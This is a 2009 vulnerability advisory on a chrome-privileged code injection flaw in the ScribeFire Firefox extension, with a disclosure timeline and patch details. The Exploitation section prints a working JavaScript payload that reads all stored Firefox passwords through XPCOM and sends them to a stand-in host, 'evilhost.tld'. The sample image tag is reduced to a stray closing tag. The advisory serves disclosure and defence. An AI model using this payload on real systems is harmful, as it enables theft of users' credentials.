



Vulnerability Advisory

Name	ScribeFire (Mozilla Firefox Extension) – Code Injection Vulnerability
Date Released	August 24, 2009
Affected Software	ScribeFire < 3.4.2
Researcher	Nick Freeman nick.freeman@security-assessment.com

Description

The ScribeFire Firefox extension provides an interface for users to post to their blogs from any website. It allows users to drag images from a website into the editing pane, which publishes that image as part of their blog post.

Security-Assessment.com discovered that ScribeFire is vulnerable to multiple injection vulnerabilities which can be exploited through a malicious image. Cross-Site Scripting and HTML injection vulnerabilities were discovered within the DOM event handlers of tags.

ScribeFire directly evaluates remotely supplied content, within the privileged chrome context. This can allow an image on a website to exploit users who share it, and may lead to the complete compromise of the host.

An example of a malicious image tag has been included below:

Example of a Malicious Image

```
</img>
```

This vulnerability has been patched. See the Solution section of this document for more information.

Exploitation

This vulnerability can be exploited in several ways. As the injection point is in the chrome privileged browser zone, it is possible to bypass Same Origin Policy (SOP) protections, and also access Mozilla built-in XPCOM components. XPCOM components can be used to read and write from the file system, as well as execute arbitrary commands, steal stored passwords, or modify other Firefox extensions.

Included below is an example exploit which should be included in the DOM event handler. This exploit will retrieve the victim's stored passwords and send them as HTTP GET parameters to a remote server.

Example Stored Password Stealing Exploit

```
var l2m=Components.classes["@mozilla.org/login-manager;1"].getService(Components.interfaces.nsILoginManager);
alltheinfo = l2m.getAllLogins({});
for (i=0;i<=alltheinfo.length;i=i+1){
  window.open("http://evilhost.tld/?host="+unescape(alltheinfo[i].hostname)+"&user="+unescape(alltheinfo[i].username)+"&password="+unescape(alltheinfo[i].password));
}
```

For more details regarding exploitation of this vulnerability, refer to our DEFCON 17 presentation at http://security-assessment.com/files/presentations/liverani_freeman_abusing_firefox_extensions_defcon17.pdf.

Solution

Security-Assessment.com follows responsible disclosure and promptly contacted the developer after discovering the issue. The developer was contacted on July 10, 2009, and a response was received on July 15. A fix was released on July 20, 2009.



security-assessment.com

The vendor supplied patch is available from Mozilla (<https://addons.mozilla.org/en-US/firefox/addon/1730>) or from the developer's personal website, <http://www.scribfire.com>.

Credit

Discovered and advised to the ScribFire developer July 2009 by Nick Freeman of Security-Assessment.com.
Personal Page: <http://atta.cked.me>

About Security-Assessment.com

Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:

Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 9 302 5093